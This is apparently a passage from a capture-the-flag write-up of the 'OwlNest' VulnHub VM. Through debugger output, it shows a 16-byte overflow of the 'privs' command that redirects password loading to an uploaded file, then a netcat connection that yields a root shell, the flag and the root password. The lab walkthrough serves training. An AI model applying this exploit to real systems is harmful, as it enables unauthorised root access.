EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486c8 <main+263>:    mov    eax,ds:0x80cc2c0
   0x80486cd <main+268>:    add    eax,0x20
   0x80486d0 <main+271>:    mov    DWORD PTR [esp],eax
=> 0x80486d3 <main+274>:    call   0x80484be <loadPasswordFromFile>
   0x80486d8 <main+279>:    mov    ds:0x80cc300,eax
   0x80486dd <main+284>:    mov    eax,ds:0x80cc300
   0x80486e2 <main+289>:    mov    DWORD PTR [esp+0x8],0x1f
   0x80486ea <main+297>:    mov    DWORD PTR [esp+0x4],eax
Guessed arguments:
arg[0]: 0x80ce758 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAj")
[------------------------------------stack-------------------------------------]
0000| 0xffffcf30 --> 0x80ce758 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAj")
0004| 0xffffcf34 --> 0xffffcf51 ("test\n")
0008| 0xffffcf38 --> 0x1f
0012| 0xffffcf3c --> 0x80aa1e0 (<__register_frame_info_bases+16>:    add    ebx,0x1fe78)
0016| 0xffffcf40 --> 0x80cdcd8 --> 0x80cdcf0 --> 0x80cdd18 --> 0x80cdd40 --> 0x80cdd68 --> 0x0
0020| 0xffffcf44 --> 0xffffd074 --> 0xffffd25e ("/home/test/owlnest/adminconsole")
0024| 0xffffcf48 ("password test\n")
0028| 0xffffcf4c ("word test\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486d3 in main ()
gdb-peda$ x/20x $eax
0x80ce758:    0x41    0x41    0x43    0x41    0x41    0x2d    0x41    0x41
0x80ce760:    0x28    0x41    0x41    0x44    0x41    0x41    0x3b    0x41
0x80ce768:    0x41    0x29    0x41    0x41
gdb-peda$ pattern_offset 0x41434141
1094926657 found at offset: 16

Great! If we prefix the string that we pass to the 'privs' command with 16 characters, we should then be able to specify a path of our own to load the password from.

I specify the input to the 'privs' command as 'AAAAAAAAAAAAAAAA/home/test/pass', and then issue the 'password test' command again, breaking just before the 'loadPasswordFromFile' function is called.

[----------------------------------registers-----------------------------------]
EAX: 0x80ce6c8 ("/home/test/pass")
EBX: 0x0
ECX: 0x1f
EDX: 0x80cc2e5 --> 0x0
ESI: 0x8048ee0 (<__libc_csu_fini>:    push   ebp)
EDI: 0x6e4f8e30
EBP: 0xffffcfd8 --> 0xffffd048 --> 0x0
ESP: 0xffffcf30 --> 0x80ce6c8 ("/home/test/pass")
EIP: 0x80486d3 (<main+274>:    call   0x80484be <loadPasswordFromFile>)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486c8 <main+263>:    mov    eax,ds:0x80cc2c0
   0x80486cd <main+268>:    add    eax,0x20
   0x80486d0 <main+271>:    mov    DWORD PTR [esp],eax
=> 0x80486d3 <main+274>:    call   0x80484be <loadPasswordFromFile>
   0x80486d8 <main+279>:    mov    ds:0x80cc300,eax
   0x80486dd <main+284>:    mov    eax,ds:0x80cc300
   0x80486e2 <main+289>:    mov    DWORD PTR [esp+0x8],0x1f
   0x80486ea <main+297>:    mov    DWORD PTR [esp+0x4],eax
Guessed arguments:
arg[0]: 0x80ce6c8 ("/home/test/pass")
[------------------------------------stack-------------------------------------]
0000| 0xffffcf30 --> 0x80ce6c8 ("/home/test/pass")
0004| 0xffffcf34 --> 0xffffcf51 ("test\n")
0008| 0xffffcf38 --> 0x1f
0012| 0xffffcf3c --> 0x80ca140 --> 0xfbad2a84
0016| 0xffffcf40 --> 0x80cdcd8 --> 0x80cdcf0 --> 0x80cdd18 --> 0x80cdd40 --> 0x80cdd68 --> 0x0
0020| 0xffffcf44 --> 0xffffd074 --> 0xffffd25e ("/home/test/owlnest/adminconsole")
0024| 0xffffcf48 ("password test\n")
0028| 0xffffcf4c ("word test\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486d3 in main ()

Bingo..I think. Looks like our path is now on the stack, instead of the one set in the 'username' function. I step into the 'loadPasswordFromFile' function, to see what's going on.

After a little stepping through, it looks pretty straight forward. It will open the file with the path we've just overwritten, and read in the first line as the password.

I create the file on my test system named '/home/test/pass', and place the word 'test' into it. I fire up the binary outside of GDB and give my exploit a go.

./adminconsole
        (\___/)   (\___/)   (\___/)   (\___/)   (\___/)   (\___/)
        /0\ /0\   /o\ /o\   /0\ /0\   /O\ /O\   /o\ /o\   /0\ /0\
        \__V__/   \__V__/   \__V__/   \__V__/   \__V__/   \__V__/
       /|:. .:|\ /|;, ,;|\ /|:. .:|\ /|;, ,;|\ /|;, ,;|\ /|:. .:|\
       \\:::::// \\;;;;;// \\:::::// \\;;;;;// \\;;;;;// \\::::://
   -----`"" ""`---`"" ""`---`"" ""`---`"" ""`---`"" ""`---`"" ""`---
        \__V__/   \__V__/   \__V__/   \__V__/   \__V__/   \__V__/

This is the OwlNest Administration console

Type Help for a list of available commands.

Ready: username root
Ready: privs AAAAAAAAAAAAAAAA/home/test/pass
Ready: password test
Ready: login
Access Granted!
Dropping into /bin/sh

Beautiful!

The last step is to upload a file with the contents of 'test' using the upload form we have access to, and then connect to port 31337 with netcat, and trigger our exploit.

nc 192.168.57.103 31337
        (\___/)   (\___/)   (\___/)   (\___/)   (\___/)   (\___/)
        /0\ /0\   /o\ /o\   /0\ /0\   /O\ /O\   /o\ /o\   /0\ /0\
        \__V__/   \__V__/   \__V__/   \__V__/   \__V__/   \__V__/
       /|:. .:|\ /|;, ,;|\ /|:. .:|\ /|;, ,;|\ /|;, ,;|\ /|:. .:|\
       \\:::::// \\;;;;;// \\:::::// \\;;;;;// \\;;;;;// \\::::://
   -----`"" ""`---`"" ""`---`"" ""`---`"" ""`---`"" ""`---`"" ""`---
        \__V__/   \__V__/   \__V__/   \__V__/   \__V__/   \__V__/

This is the OwlNest Administration console

Type Help for a list of available commands.

Ready: username root
Ready: privs AAAAAAAAAAAAAAAA/var/www/images/pass
Ready: password test
Ready: login
Access Granted!
Dropping into /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)

Beautiful! Time for the flag - and for good measure, the real password.

ls -alh /root
total 48K
drwx------  4 root root 4.0K Aug 31  2014 .
drwxr-xr-x 22 root root 4.0K Aug  7  2014 ..
drwx------  2 root root 4.0K Aug  8  2014 .aptitude
-rw-------  1 root root    1 Aug 12  2014 .bash_history
-rw-r--r--  1 root root  587 Aug 11  2014 .bashrc
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
drwx------  2 root root 4.0K Aug  7  2014 .ssh
-rw-------  1 root root 9.1K Aug 31  2014 .viminfo
-rw-------  1  600 root 1002 Aug 12  2014 flag.txt
-rw-------  1 root root   29 Aug 11  2014 password.txt
cat /root/flag.txt
               \ `-._......_.-` /
                `.  '.    .'  .'      Oh Well, in the end you did it!
                 //  _`\/`_  \\        You stopped the olws' evil plan  
                ||  /\O||O/\  ||       By pwning their secret base you
                |\  \_/||\_/  /|       saved the world!
                \ '.   \/   .' /
                / ^ `'~  ~'`   \
               /  _-^_~ -^_ ~-  |
               | / ^_ -^_- ~_^\ |
               | |~_ ^- _-^_ -| |
               | \  ^-~_ ~-_^ / |
               \_/;-.,____,.-;\_/
        ==========(_(_(==)_)_)=========

The flag is: ea2e548590260e12030c2460f82c1cff8965cff1971107a9ecb3565b08c274f4

Hope you enjoyed this vulnerable VM.
Looking forward to see a writeup from you soon!
don't forget to ping me on twitter with your thoughts

Sincerely
@Swappage


PS: why the owls? oh well, I really don't know and yes: i really suck at fictioning :p
True story is that i was looking for some ASCII art to place in the puzzles and owls popped out first

cat /root/password.txt
_th1s1s45up3r53cr3tPassW0rd!

Conclusion

This was a really fun VM. I've rarely played with CGI executables - probably a bit before my time (although I DO recall playing with them when I first got into programming, many years ago). The binary exploitation steps were challenging enough to be fun, and what can I say - I love Owls!

Thank you Swappage for the fun challenge, and thank you VulnHub for hosting it!